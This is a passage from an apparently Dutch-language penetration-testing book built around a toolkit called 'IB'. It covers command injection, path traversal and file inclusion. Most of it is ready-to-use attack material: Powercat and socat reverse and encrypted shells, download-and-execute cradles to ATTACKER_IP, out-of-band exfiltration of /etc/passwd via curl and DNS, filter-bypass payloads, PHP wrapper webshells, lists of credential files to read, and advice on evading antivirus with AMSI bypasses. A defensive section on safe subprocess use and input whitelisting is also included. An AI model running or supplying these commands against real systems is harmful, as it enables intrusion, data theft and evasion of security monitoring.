Soms is een reverse shell niet mogelijk – bijvoorbeeld als het target geen uitgaande verbindingen mag maken. Dan draai je het om. Het target opent een poort en jij verbindt ernaar toe:

Op het target:

powercat -l -p 4444 -e cmd.exe

Op je machine:

nc TARGET_IP 4444

Encoded payload

Voor een one-liner die je via command injection kunt uitvoeren:

# Genereer de encoded payload:
powercat -c ATTACKER_IP -p 443 -e cmd.exe -ge > encoded_shell.ps1

# Voer uit op het target:
powershell -E <BASE64_STRING>

De -ge flag genereert een base64-encoded versie die je met powershell -E kunt uitvoeren. Eenvoudig, elegant, en het omzeilt veel signature-based detectie.

Bestandsoverdracht

Powercat kan ook bestanden versturen:

# Ontvanger (jouw machine):
nc -nlvp 443 > received_file

# Verzender (target):
powercat -c ATTACKER_IP -p 443 -i C:\Users\victim\secret.txt

Relay en pivot

# Relay van poort 8080 naar intern target:
powercat -l -p 8080 -r tcp:INTERNAL_TARGET:80

# DNS relay:
powercat -l -p 53 -r dns:ATTACKER_IP:443

De complete one-liner

De ultieme Powercat one-liner die alles combineert – download en shell in een commando:

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/powercat.ps1'); powercat -c ATTACKER_IP -p 443 -e cmd.exe"

IB Tip: Combineer Powercat met een AMSI bypass voor antivirus-evasie. Zonder AMSI bypass wordt de Powercat-download waarschijnlijk geblokkeerd door Windows Defender. Zie het AMSI-hoofdstuk voor details.

Socat: de versleutelde variant

Socat is netcat op steroiden. Het grote verschil: socat ondersteunt SSL/TLS- versleuteling. Dat betekent dat je reverse shell eruitziet als normaal HTTPS- verkeer. Voor een IDS of firewall is het nauwelijks te onderscheiden van een gewone beveiligde verbinding.

SSL-certificaat genereren

Eerste stap: maak een self-signed certificaat:

openssl req -newkey rsa:2048 -nodes -keyout shell.key \
  -x509 -days 365 -out shell.crt -subj '/CN=localhost'
cat shell.key shell.crt > shell.pem

Versleutelde reverse shell

Op je machine (listener):

socat -d -d OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork STDOUT

Of met een volledige TTY (zodat je tab-completion en vi kunt gebruiken):

socat -d -d OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork \
  FILE:`tty`,raw,echo=0

Op het target (Linux):

socat OPENSSL:ATTACKER_IP:443,verify=0 \
  EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Die opties aan het einde (pty,stderr,setsid,sigint,sane) zorgen ervoor dat je een volwaardige interactieve shell krijgt met signal handling en een pseudo- terminal. Zonder die opties krijg je een kale shell waar Ctrl+C je verbinding verbreekt in plaats van het lopende commando te stoppen.

Versleutelde bind shell

# Target (listener):
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork \
  EXEC:/bin/bash,pty,stderr,setsid

# Aanvaller (connect):
socat - OPENSSL:TARGET_IP:4444,verify=0

Port forwarding

# Onversleuteld:
socat TCP-LISTEN:8080,fork TCP:INTERNAL_TARGET:80

# Versleuteld:
socat OPENSSL-LISTEN:8443,cert=shell.pem,verify=0,fork \
  TCP:INTERNAL_TARGET:80

Socat op Windows

Download socat naar het target:

certutil -urlcache -f http://ATTACKER_IP/socat.exe C:\Windows\tasks\socat.exe

Reverse shell:

socat.exe TCP:ATTACKER_IP:443 EXEC:cmd.exe,pipes

Bestandsoverdracht

# Ontvanger:
socat TCP-LISTEN:9999,fork file:received_file,create

# Verzender:
socat TCP:ATTACKER_IP:9999 file:local_file

IB Tip: Socat SSL-verkeer is bijna niet te onderscheiden van normaal HTTPS-verkeer. Dit maakt het ideaal voor omgevingen met strikte netwerk- monitoring. De verify=0 flag slaat certificaat-validatie over – nodig omdat we een self-signed certificaat gebruiken.

De IB Reverse Shell Generator

Tot nu toe hebben we individuele commando’s besproken. Maar laten we eerlijk zijn: handmatig IP-adressen en poortnummers invullen in tientallen reverse shell one-liners is het soort monotoon werk waar computers voor zijn uitgevonden. En dat is precies waarvoor IB de Reverse Shell Generator heeft.

De generator is bereikbaar via het dashboard onder Reverse Shells Generator. Het is een van de meest praktische tools in IB – je vult je IP-adres en poort in, en het genereert automatisch tientallen reverse shells in elke taal die je maar kunt bedenken.

De interface

De generator heeft vier hoofdsecties:

  1. Configuratie – Hier vul je drie dingen in:

    • IP of interface: je IP-adres (bijv. 10.10.14.5) of een netwerk- interface (bijv. tun0). IB resolvet interfaces automatisch.
    • Port: de poort waarop je luistert. Default is 443.
    • Bestandsnaam prefix: de prefix voor het output-bestand. Default is shell, wat resulteert in shell_443.txt.
  2. AMSI Bypass – Een ingebouwde AMSI bypass generator. Elke keer dat je op “Genereer” klikt, krijg je een andere obfuscated AMSI bypass. De “Base64” knop geeft je een encoded variant die je met PowerShell’s -enc flag kunt uitvoeren. Essentieel voor Windows-targets met Defender.

  3. Shells – Hier verschijnen alle gegenereerde reverse shells, netjes gesorteerd per categorie (Bash, Python, PHP, Perl, Ruby, etc.). Elke shell heeft een “Kopieer” knop. Er is ook een “Kopieer alles” knop per categorie.

  4. PowerShell Cradles – Automatisch gegenereerde download cradles voor elke .ps1 tool in je http/tools/ directory. Drie varianten per tool: IEX, Invoke-WebRequest, en een base64-encoded powershell -enc variant.

  5. Tool Downloads – Download-commando’s voor .exe bestanden, met varianten voor certutil, curl, PowerShell WebClient, Invoke-WebRequest, bitsadmin, en zelfs findstr via SMB.

  6. Gegenereerde Payloads – Een overzicht van alle payloads in http/payloads/, inclusief bestandsgrootte en downloadlinks.

Zoekfunctie

Bovenaan staat een zoekbalk waarmee je door alle gegenereerde shells, cradles en downloads kunt filteren. Typ “python” en je ziet alleen Python- shells. Typ “certutil” en je ziet alleen certutil-download-commando’s. Dit bespaart enorm veel tijd als je snel een specifiek type shell nodig hebt.

Workflow: van injection punt naar volledige shell

Laten we een complete workflow doorlopen. Je hebt een command injection gevonden in een webapplicatie. Hoe ga je van dat ene injection punt naar een volledige interactieve shell?

Stap 1: Start de IB Reverse Shell Generator

Open het IB dashboard en ga naar de Reverse Shell Generator. Vul je IP-adres en poort in (bijv. 10.10.14.5 en 443). Klik op “Genereer reverse shells”.

Stap 2: Bepaal het target OS en beschikbare tools

Gebruik je command injection om te achterhalen wat er beschikbaar is:

;uname -a          # Linux of Windows?
;which python3     # Python beschikbaar?
;which nc          # Netcat beschikbaar?
;which curl        # Curl beschikbaar?
;which wget        # Wget beschikbaar?

Stap 3: Kies de juiste shell

Op basis van de resultaten zoek je in de generator de juiste shell. Python beschikbaar? Zoek “python” in de zoekbalk en kopieer de Python reverse shell. Alleen bash? Kopieer de bash-variant.

Stap 4: Start je listener

nc -nlvp 443

Stap 5: Voer de payload uit

Inject de gekopieerde reverse shell via je command injection punt. Vergeet niet om speciale tekens te URL-encoden als je via een HTTP-parameter werkt.

Stap 6: Upgrade je shell

Zodra je een verbinding hebt, upgrade naar een volledige interactieve shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

IB Tip: De generator slaat de output ook op als bestand in http/payloads/. Zo heb je altijd een overzicht van alle shells die je hebt gegenereerd, en kun je ze later opnieuw gebruiken of via de IB webserver serveren aan targets.

Blind command injection

Tot nu toe zijn we ervan uitgegaan dat je de output van je commando’s kunt zien. De applicatie voert ping 127.0.0.1;id uit, en de output van id verschijnt ergens op de pagina. Maar dat is lang niet altijd het geval.

Soms voert de applicatie je commando wel uit, maar laat het de output niet zien. Misschien wordt de output weggegooid. Misschien wordt alleen “Success” of “Error” weergegeven. Dit is blind command injection, en het is net zo gevaarlijk als de niet-blinde variant – alleen lastiger te bevestigen.

Er zijn twee hoofdmethoden om blind command injection te detecteren en te exploiten.

Time-based detection

Het principe: als je het systeem kunt laten wachten, weet je dat je commando is uitgevoerd.

;sleep 5

Als het antwoord van de server precies vijf seconden langer duurt dan normaal, weet je dat sleep 5 is uitgevoerd. Je hebt command injection. Je kunt de output niet zien, maar je kunt het systeem controleren.

Op Windows:

& ping -n 10 127.0.0.1

De ping -n 10 duurt ongeveer tien seconden. Als het antwoord tien seconden vertraagd is, bingo.

Varieer de timing om zeker te weten dat het geen toevallige vertraging is. Probeer sleep 3, dan sleep 7, dan sleep 1. Als de vertraging elke keer exact overeenkomt met je sleep-waarde, is het bevestigd.

Out-of-band (OOB) detection

Soms is time-based niet betrouwbaar – misschien duurt het verwerken van het verzoek al lang, of is de netwerk-latency te variabel. Dan gebruik je out-of-band detectie: je laat het doelsysteem contact opnemen met een server die jij controleert.

HTTP callback:

;curl http://10.0.0.1/cmdi_confirm
;wget http://10.0.0.1/cmdi_confirm

Start een simpele HTTP-server op je machine:

python3 -m http.server 80

Als je een HTTP-request ziet binnenkomen voor /cmdi_confirm, weet je dat het commando is uitgevoerd.

DNS callback:

;nslookup unique-id.attacker.com
;dig unique-id.attacker.com
;host unique-id.attacker.com

DNS is bijzonder effectief omdat DNS-verkeer bijna nooit geblokkeerd wordt. Zelfs de strengste firewalls laten DNS door. Gebruik een unieke subdomain per test zodat je precies weet welke payload succesvol was.

Ping:

;ping -c 1 10.0.0.1

Start tcpdump op je machine:

tcpdump -i tun0 icmp

Als je een ICMP-pakket ziet binnenkomen, is het commando uitgevoerd.

Data exfiltratie via OOB

Nu het leuke deel: je kunt OOB niet alleen gebruiken om command injection te bevestigen, maar ook om data te exfiltreren.

;curl http://10.0.0.1/$(whoami)
;curl http://10.0.0.1/$(cat /etc/hostname)
;nslookup $(whoami).attacker.com

De output van het commando wordt onderdeel van de URL of de DNS-query. Op je server zie je een request binnenkomen voor /www-data of een DNS-lookup voor webserver.attacker.com. Het is niet snel – je kunt maar beperkte data per request versturen – maar het werkt, zelfs als je de output nergens kunt zien.

Voor grotere bestanden kun je base64 gebruiken:

;curl http://10.0.0.1/$(cat /etc/passwd | base64 | tr -d '\n')

Of in stukjes:

;curl http://10.0.0.1/$(cat /etc/passwd | base64 | head -c 100)
;curl http://10.0.0.1/$(cat /etc/passwd | base64 | tail -c +101 | head -c 100)

IB Tip: Burp Collaborator of een eigen DNS-logger zijn onmisbaar voor blind command injection. De IB web_cmdi_operators file heeft standaard blind detection payloads voor curl, ping, en sleep – probeer ze allemaal.

Verdediging: hoe je dit voorkomt

Nu even serieus. Want al die aanvalstechnieken zijn leuk en aardig, maar als je een developer bent (of een developer aanstuurt), moet je dit probleem ook oplossen.

Regel 1: Gebruik geen system calls

Dit is de enige regel die je echt nodig hebt. Als je nooit os.system(), subprocess.call() met shell=True, exec(), system(), of welke functie dan ook aanroept die een shell-commando uitvoert met user input, dan heb je geen command injection. Punt. Klaar. Einde verhaal.

“Maar ik moet een ping uitvoeren!” Nee, dat moet je niet. Gebruik een library. In Python: import ping3. In PHP: gebruik fsockopen() voor netwerk- connectiviteit. In Java: gebruik InetAddress.isReachable(). Er is altijd een library die doet wat je wilt zonder dat je een shell hoeft aan te roepen.

“Maar ik moet een PDF genereren!” Gebruik een library. reportlab in Python, wkhtmltopdf via een wrapper library, iText in Java. Geen reden om os.system("wkhtmltopdf " + filename) aan te roepen.

“Maar ik moet ImageMagick aanroepen!” Gebruik de Python-binding Wand, of de PHP Imagick extensie, of de Java im4java library. Allemaal roepen ImageMagick aan zonder dat je een shell nodig hebt.

Regel 2: Als je toch een system call moet doen

Soms is er echt geen alternatief. Je moet nmap aanroepen, of pandoc, of een obscure legacy tool waar geen library voor bestaat. In dat geval:

Gebruik parameterized execution:

# FOUT:
os.system("ping -c 4 " + user_input)

# FOUT (shell=True):
subprocess.call("ping -c 4 " + user_input, shell=True)

# GOED:
subprocess.call(["ping", "-c", "4", user_input])

De cruciale parameter is shell=False (de default in Python’s subprocess). Als je de argumenten als een lijst meegeeft in plaats van als een string, dan worden ze niet door een shell geinterpreteerd. De speciale tekens ;, |, &&, etc. worden behandeld als letterlijke karakters, niet als operatoren.

In PHP:

// FOUT:
system("ping -c 4 " . $_GET['ip']);

// GOED:
$ip = escapeshellarg($_GET['ip']);
system("ping -c 4 " . $ip);

// BETER:
$output = [];
exec("ping -c 4 " . escapeshellarg($_GET['ip']), $output);

escapeshellarg() wikkelt de input in enkele quotes en escaped alle bestaande quotes. Niet waterdicht, maar veel beter dan niets.

Regel 3: Whitelist input

Valideer je input tegen een whitelist. Als je een IP-adres verwacht, controleer dan of de input er ook daadwerkelijk uitziet als een IP-adres:

import re

def is_valid_ip(ip):
    pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    if not re.match(pattern, ip):
        return False
    parts = ip.split('.')
    return all(0 <= int(p) <= 255 for p in parts)

user_ip = request.form.get('ip', '')
if not is_valid_ip(user_ip):
    return "Ongeldig IP-adres", 400

subprocess.call(["ping", "-c", "4", user_ip])

Dit is defens-in-depth. Zelfs als er een bug zit in hoe je het commando aanroept, kan een aanvaller er niets mee als de input beperkt is tot geldige IP-adressen.

Regel 4: Least privilege

Draai je webapplicatie niet als root. Draai het als een beperkte gebruiker met minimale rechten. Als iemand toch command injection vindt, kan die persoon dan tenminste niet meteen het hele systeem overnemen.

In de praktijk: een eigen service-account, geen schrijfrechten buiten de applicatie-directory, geen sudo-rechten, beperkte netwerk-toegang.

Regel 5: Sandboxing

Containers (Docker), seccomp-profielen, AppArmor, SELinux – gebruik ze. Ze voorkomen command injection niet, maar ze beperken de schade. Een aanvaller in een Docker-container kan veel minder dan een aanvaller op de bare metal host.

De ongemakkelijke waarheid

En dan nu even een eerlijk woord over developers die os.system() gebruiken.

Ik snap het. Ik snap het echt. Je hebt een deadline. Je manager wil die feature morgen live hebben. Je moet even snel een ping uitvoeren, een bestand converteren, een rapport genereren. En os.system("ping " + ip) is zo verdomd makkelijk. Het werkt. Het doet precies wat je wilt. In drie regels code heb je het voor elkaar, terwijl de “juiste” manier met libraries en input-validatie en subprocess met argumenten-als-lijst drie keer zo lang duurt.

Maar weet je wat ook makkelijk is? Je voordeur open laten staan. Dat bespaart je elke dag vijf seconden zoeken naar je sleutels. En op 364 dagen per jaar gaat dat prima. Maar op die ene dag dat er iemand binnenloopt die er niet hoort te zijn, heb je een probleem. En dan zeg je: “Maar het was zo makkelijk om de deur open te laten!”

Het is dezelfde logica. Dezelfde luiheid. Hetzelfde kortzichtige denken dat ervoor zorgt dat we in 2026 nog steeds command injection kwetsbaarheden vinden in productie-applicaties. We weten al sinds de jaren negentig hoe dit werkt. We weten al dertig jaar hoe je het voorkomt. En toch, elke keer weer, pakt een developer os.system() en plakt er user input achter.

Het is niet eens incompetentie op dit punt. Het is traditie. Het is een ambacht dat van generatie op generatie wordt doorgegeven: de kunst van het slordig programmeren. Ergens op een universiteit zit een professor die studenten leert hoe ze system() moeten gebruiken, en die vergeet erbij te vertellen dat het een geladen pistool is. En die studenten worden developers. En die developers bouwen applicaties. En die applicaties draaien in productie. En dan komen wij langs met een puntkomma en een id-commando, en dan is het: “Oh nee, hoe kan dit? Wie had dit kunnen voorzien?”

Iedereen. Iedereen had dit kunnen voorzien. Want het staat in elke security training, elke OWASP-lijst, elk boek over veilig programmeren. Het staat waarschijnlijk ook op de muur van de koffieruimte bij het bedrijf dat je heeft ingehuurd om een pentest te doen. Maar niemand leest die muur. Net zoals niemand de voorwaarden leest. Net zoals niemand de documentatie leest.

En dan vragen ze ons: “Is het erg?”

Ja. Het is erg. Je hebt iemand root-toegang gegeven tot je server via een webformulier. Dat is als een bank die een gat in de kluisdeur boort zodat klanten makkelijker bij hun geld kunnen.

Referentietabel

Injection operatoren

Operator Syntax Werking Platform
Semicolon cmd1;cmd2 Voer beide uit (ongeacht resultaat) Linux
Ampersand cmd1 & cmd2 Voer beide uit (ongeacht resultaat) Windows
Pipe cmd1\|cmd2 Output cmd1 als input cmd2 Beide
AND cmd1&&cmd2 cmd2 alleen als cmd1 slaagt Beide
OR cmd1\|\|cmd2 cmd2 alleen als cmd1 faalt Beide
Backtick `cmd` Inline substitutie Linux
Dollar $(cmd) Inline substitutie Linux, PS
Newline %0a Commandoscheiding Beide

URL-encoding voor HTTP parameters

Teken Encoding
& %26
\| %7c
; %3b
Spatie + of %20
' %27
" %22
` %60
$ %24
( %28
) %29
{ %7b
} %7d
\n %0a

Spatie-bypass technieken

Techniek Voorbeeld Werking
IFS cat${IFS}/etc/passwd Internal Field Separator
Input redirect cat</etc/passwd Redirect als input
Brace expansion {cat,/etc/passwd} Bash brace expansion
Hex spatie X=$'\x20';cat${X}file Hex-encoded spatie in variabele
Tab cat%09/etc/passwd Tab als whitespace

Keyword-bypass technieken

Techniek Voorbeeld Werking
Enkele quotes c'a't file Lege quotes worden gestript
Dubbele quotes c"a"t file Lege quotes worden gestript
Backslash c\at file Backslash voor normaal karakter
Wildcard /bin/c?t file ? matcht een karakter
Variabele a=/etc/passwd;cat $a Waarde in variabele
Base64 echo aWQ=\|base64 -d\|bash Base64 decodering
Hex echo -e '\x69\x64'\|bash Hex decodering

Reverse shells per taal

Taal Listener One-liner
Bash nc -nlvp 443 bash -i >& /dev/tcp/IP/443 0>&1
Python nc -nlvp 443 python3 -c 'import os,pty,socket;...'
PHP nc -nlvp 443 php -r '$s=fsockopen("IP",443);...'
Perl nc -nlvp 443 perl -e 'use Socket;...'
Ruby nc -nlvp 443 ruby -rsocket -e'...'
Node.js nc -nlvp 443 node -e '(function(){...})()'
Powercat nc -nlvp 443 powercat -c IP -p 443 -e cmd.exe
Socat (SSL) socat OPENSSL-LISTEN:443,... socat OPENSSL:IP:443,... EXEC:...

IB Command files

Bestand Inhoud
web_cmdi_operators Alle injection operatoren + blind detection
web_cmdi_bypass Spatie-, keyword-, encoding-bypass technieken
web_cmdi_shells Multi-language reverse shell one-liners
shell_powercat Powercat: reverse/bind shells, file transfer, relay
shell_socat Socat: versleutelde shells, port forwarding

Verdedigingsmaatregelen

Maatregel Prioriteit Effectiviteit
Geen system calls gebruiken Kritiek Elimineert het probleem
Parameterized execution (shell=False) Hoog Voorkomt operator-interpretatie
Input whitelisting Hoog Beperkt aanvalsvlak
escapeshellarg() (PHP) Medium Escaped speciale tekens
Least privilege Medium Beperkt schade
Sandboxing (Docker, seccomp) Medium Beperkt post-exploitation
WAF-regels Laag Te omzeilen, maar vertraagt aanvaller

Volgende hoofdstuk: Cross-Site Request Forgery – of hoe je iemand anders jouw vuile werk laat doen.

Path Traversal en File Inclusion

Path Traversal en File Inclusion

Er bestaat een universeel menselijk verlangen om te organiseren. We doen het al duizenden jaren. De oude Egyptenaren hadden hun papyrusrollen in kleivazen, gesorteerd op onderwerp. De Romeinen hadden hun tabularia, archieven zo netjes geordend dat een ambtenaar binnen een minuut een document kon vinden over een grensconflict van drie jaar geleden. De middeleeuwse monniken hadden hun scriptoria, waar manuscripten met zorg werden gecatalogiseerd en bewaard.

En wij hebben het bestandssysteem.

Het bestandssysteem is een van die uitvindingen die zo fundamenteel zijn dat de meeste mensen er niet meer over nadenken. Het is een hiërarchie van mappen en bestanden, net als een archiefkast met laden die laden bevatten die weer laden bevatten. Bovenaan staat de root – op Unix is dat /, op Windows is dat C:\ – en daaronder vertakken zich mappen als de takken van een eik. Elke map kan bestanden bevatten, of meer mappen, en zo ontstaat er een structuur die in theorie alles netjes op zijn plek houdt.

Het sleutelwoord is “in theorie”.

Want het probleem met een netjes georganiseerd archief is dat het precies zo veilig is als het slot op de deur. En in de wereld van webapplicaties is dat slot vaak niet meer dan een kartonnen bordje met “verboden toegang” erop. Path traversal – ook wel directory traversal of dot-dot-slash genoemd – is de techniek waarbij een aanvaller dat bordje negeert, door het archief wandelt, en alles leest wat hij wil.

6.1 De basis: twee puntjes en een schuine streep

Laten we beginnen bij het begin. Elk bestandssysteem begrijpt een handvol navigatiesymbolen. Een punt (.) betekent “de huidige map”. Twee punten (..) betekent “de bovenliggende map”. En een schuine streep (/ op Unix, \ op Windows) scheidt mappen van elkaar.

Dit zijn geen bugs. Dit is hoe bestandssystemen al decennia werken. Het is de taal die elk besturingssysteem spreekt. En het is precies die taal die path traversal mogelijk maakt.

Stel je voor dat een webapplicatie afbeeldingen serveert via een URL als:

https://example.com/image?file=foto.jpg

De applicatie pakt de waarde foto.jpg, plakt die achter een pad als /var/www/images/, en stuurt het bestand terug. Simpel. Elegant zelfs. Tot iemand dit probeert:

https://example.com/image?file=../../../etc/passwd

Elke ../ klimt een map omhoog. Drie keer ../ vanaf /var/www/images/ brengt je naar /, de root van het bestandssysteem. En dan is /etc/passwd – het bestand dat op elk Unix-systeem de gebruikerslijst bevat – slechts een vriendelijk verzoek verwijderd.

IB – De command file web_lfi_traversal in de IB Command Library bevat een uitgebreide verzameling path traversal payloads voor zowel Linux als Windows. Gebruik deze als startpunt voor je tests en combineer ze met de fuzzing tip onderaan het bestand.

De anatomie van een traversal payload

De eenvoudigste payload is een reeks van ../ gevolgd door het gewenste pad:

../../../../../../../etc/passwd

Waarom zeven keer ../? Omdat je niet weet hoe diep het huidige pad is. Als je te vaak omhoog klimt, maakt dat niet uit – je kunt niet hoger dan root. Maar als je te weinig klimt, bereik je het bestand niet. Meer is dus veiliger. Een pentester die zuinig is met zijn puntjes is een pentester die niets vindt.

Op Windows ziet dezelfde aanval er iets anders uit:

..\..\..\..\..\..\windows\win.ini

De backslash in plaats van een forward slash, en een ander doelbestand. Maar het principe is identiek. Het bestandssysteem begrijpt allebei, en dat is precies het probleem.

6.2 Encoding: de kunst van het vermommen

Natuurlijk zijn ontwikkelaars niet helemaal dom. Sommigen hebben bedacht dat ze ../ kunnen filteren. Ze zoeken naar de letterlijke string ../ in de input en verwijderen die. Probleem opgelost, toch?

Nee. Want URL-encoding bestaat.

URL-encoding (percent-encoding)

In een URL kun je elk karakter vervangen door zijn hexadecimale waarde, voorafgegaan door een procentteken. De punt (.) wordt %2E. De schuine streep (/) wordt %2F. Dus ../ wordt:

..%2F..%2F..%2F..%2Fetc%2Fpasswd

De webserver decodeert deze waarden voordat de applicatie ze ziet. Maar als de applicatie eerst filtert en de webserver daarna decodeert – of als de applicatie de URL-gedecodeerde waarde niet opnieuw controleert – glipt de payload er doorheen als een aal door een net.

Dubbele URL-encoding

Sommige applicaties decoderen de input een keer en filteren dan. De oplossing? Encodeer het twee keer:

..%252F..%252F..%252F..%252Fetc%252Fpasswd

Hier is %25 de URL-encoding van het procentteken zelf. De eerste decoderingsronde maakt er %2F van. De tweede ronde maakt er / van. Als de filtering na de eerste ronde plaatsvindt maar voor de tweede, heb je een probleem. Of beter gezegd: de applicatie heeft een probleem.

Overige encoding-trucs

Er zijn meer varianten dan je lief is:

# Dot-stripping bypass (het filter verwijdert ../ maar niet ....//):
....//....//....//etc/passwd

# Semicolon bypass (Tomcat/Java-specifiek):
..;/..;/..;/etc/passwd

# UTF-8 overlong encoding (historisch):
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

# Unicode normalisatie:
..%c0%af..%c0%af..%c0%afetc/passwd

De ....//-variant is bijzonder sluw. Als een filter ../ verwijdert uit ....//, blijft er ../ over. Het filter slaat zichzelf. Het is het digitale equivalent van een bewaker die het hek opendoet terwijl hij denkt dat hij het op slot draait.

De ;-variant werkt specifiek op Apache Tomcat, dat de semicolon behandelt als een path parameter separator. Tomcat negeert alles voor de semicolon in het pad-segment en interpreteert de rest normaal. Dit is een van die gevallen waarin het “dat is geen bug, dat is een feature”-argument van de ontwikkelaars ietwat hol klinkt.

6.3 Local File Inclusion: het bestandssysteem als bibliotheek

Path traversal is de techniek om buiten de bedoelde map te navigeren. Local File Inclusion (LFI) is wat je ermee doet. Bij LFI wordt een lokaal bestand op de server ingesloten en verwerkt door de applicatie, vaak via een PHP include() of require() functie.

Het verschil is subtiel maar belangrijk. Bij path traversal lees je een bestand. Bij LFI voer je het potentieel uit.

Interessante bestanden

Als je eenmaal kunt lezen wat je wilt, rijst de vraag: wat wil je lezen? Het antwoord hangt af van je doel, maar sommige bestanden zijn vrijwel altijd interessant.

Linux:

Bestand Inhoud
/etc/passwd Gebruikerslijst, home directories, login shells
/etc/shadow Wachtwoord-hashes (vereist root-rechten)
/etc/hosts Hostname-naar-IP-mapping, onthult interne netwerknamen
/proc/self/environ Omgevingsvariabelen van het huidige proces
/proc/self/cmdline Commandline waarmee het proces is gestart
/var/log/apache2/access.log Apache access log (voor log poisoning)
/var/log/auth.log Authenticatie log (SSH login pogingen)
/home/user/.ssh/id_rsa SSH private key – jackpot
/home/user/.bash_history Shell commando-geschiedenis

Windows:

Bestand Inhoud
C:\windows\system32\config\SAM Lokale wachtwoord-database
C:\windows\repair\SAM Backup van SAM (vaak leesbaar)
C:\inetpub\wwwroot\web.config IIS configuratie, connection strings
C:\windows\system32\drivers\etc\hosts Hostname mapping
C:\Users\Administrator\.ssh\id_rsa SSH key van de admin

Webapplicatie-specifiek:

Bestand Inhoud
.env Omgevingsvariabelen: database credentials, API keys
config.php / wp-config.php Database wachtwoorden, salt keys
web.config .NET configuratie met connection strings
application.properties Spring Boot configuratie

Het lezen van /etc/passwd is het equivalent van het bekijken van het telefoonboek van een bedrijf. Je weet nog niet wat iedereen doet, maar je weet wie er allemaal zijn. En vaak is dat genoeg om je volgende stap te plannen.

IB – De web_lfi_traversal command file bevat secties voor zowel Linux als Windows interessante bestanden. Kopieer de relevante paden en pas ze aan voor het besturingssysteem van je doelwit. Vergeet niet dat /etc/shadow meestal niet leesbaar is als www-data, maar het is altijd het proberen waard.

6.4 PHP wrappers: de geheime deuren

PHP is een taal die gebouwd is met het expliciete doel om webpagina’s te genereren. Het is ook een taal die – door een combinatie van historisch gegroeide features en een laissez-faire houding ten opzichte van beveiliging – een verzameling stream wrappers bevat die elke pentester laat watertanden.

Stream wrappers zijn protocollen die PHP begrijpt in functies als include(), file_get_contents(), en fopen(). Je kunt ze beschouwen als alternatieve “routes” om data te lezen of te schrijven.

php://filter – broncode lezen

Dit is de meest gebruikte wrapper bij LFI. Normaal gesproken wordt een PHP-bestand uitgevoerd wanneer het wordt geinclude. Maar wat als je de broncode wilt lezen, niet het resultaat?

php://filter/convert.base64-encode/resource=config.php

Deze wrapper leest config.php, converteert de inhoud naar Base64, en retourneert het resultaat als tekst. Omdat Base64 geen geldige PHP is, wordt het niet uitgevoerd maar letterlijk weergegeven. Decodeer de output en je hebt de broncode, inclusief hardcoded wachtwoorden, database credentials, en alle andere geheimen die de ontwikkelaar dacht verborgen te hebben.

# De Base64 output decoderen:
echo "PD9waHAKJGRiX3VzZXIgPSAncm9vdCc7CiRkYl9wYXNzID0gJ3Bhc3N3b3JkMTIzJzs=" | base64 -d
# Output:
# <?php
# $db_user = 'root';
# $db_pass = 'password123';

Ja, password123. In productie. In 2026. De mensheid leert het nooit.

php://input – code injecteren

Als allow_url_include is ingeschakeld (wat het niet zou moeten zijn, maar je zou versteld staan hoe vaak het wel is), kun je PHP-code rechtstreeks via de request body sturen:

curl -X POST "http://target/page.php?file=php://input" \
     -d "<?php system('id'); ?>"

De include() functie leest de request body als PHP-code en voert het uit. Van file inclusion naar remote code execution in een enkele request.

data:// – code als URL

De data:// wrapper is vergelijkbaar met php://input, maar stuurt de code via de URL zelf:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

De Base64-waarde decodeert naar:

<?php system($_GET['cmd']); ?>

Gecombineerd met een &cmd=id parameter heb je een volledige webshell in een URL. Eleganter wordt het niet.

curl "http://target/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id"

expect:// – directe command execution

De meest directe wrapper. Geen omwegen, geen Base64, geen subtiliteit:

expect://id

Voert id uit op het systeem. Vereist de PHP Expect-extensie, die zelden standaard geinstalleerd is, maar als het er is, is het het beveiligings- equivalent van een open deur met een bord “kom binnen en pak wat je wilt”.

curl "http://target/page.php?file=expect://id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Null byte injection (historisch)

Voor PHP 5.3.4 was er een bijzonder elegante truc. Veel applicaties voegden een extensie toe aan het bestand dat je opvroeg:

include($_GET['file'] . '.php');

Het idee was dat je alleen PHP-bestanden kon includen. Maar een null byte (%00) termineert strings in C, en PHP is gebouwd op C. Dus:

../../../etc/passwd%00

PHP zag ../../../etc/passwd\0.php, maar de onderliggende C-functie las tot de null byte en opende /etc/passwd. De .php extensie werd simpelweg genegeerd, alsof hij nooit had bestaan.

Dit is sinds PHP 5.3.4 gefixt, maar legacy-applicaties bestaan. En als er iets is dat de geschiedenis ons leert, is het dat legacy-applicaties niet met pensioen gaan. Ze worden gewoon vergeten tot iemand ze vindt.

# Null byte met valse extensie:
../../../etc/passwd%00.jpg
../../../etc/passwd%00.php

6.5 Log poisoning: het dagboek vergiftigen

Hier wordt het echt interessant. Log poisoning is de kunst om executable code te injecteren in een logbestand, en dat logbestand vervolgens via LFI te includen zodat de code wordt uitgevoerd. Het is een tweestapaanval die eenvoudiger is dan hij klinkt.

De logica is als volgt:

  1. Webservers loggen elke request, inclusief headers zoals de User-Agent.
  2. Die logs worden opgeslagen in bestanden als /var/log/apache2/access.log.
  3. Als je LFI hebt, kun je die logbestanden includen.
  4. Als je PHP-code in de logbestanden kunt krijgen, wordt die uitgevoerd bij inclusie.

Het is alsof je een briefje in het gastenboek van een hotel schrijft, en dat briefje later als officieel document wordt behandeld. Behalve dat het briefje een bommelding bevat.

IB – De web_lfi_logpoison command file in IB bevat het complete stappenplan voor log poisoning, van LFI-verificatie tot reverse shell. Volg de stappen in volgorde voor een systematische aanpak.

Stap 1: LFI bevestigen

Voordat je aan log poisoning begint, moet je bevestigen dat je bestanden kunt includen. Test met bekende bestanden:

# Bevestig LFI:
curl "http://TARGET/page.php?file=../../../etc/passwd"

# Als de basis niet werkt, probeer bypass-varianten:
curl "http://TARGET/page.php?file=....//....//....//etc/passwd"

Stap 2: Log toegang verifiëren

Nu moet je bevestigen dat je de logbestanden kunt lezen. De locatie verschilt per configuratie:

Webserver Locatie
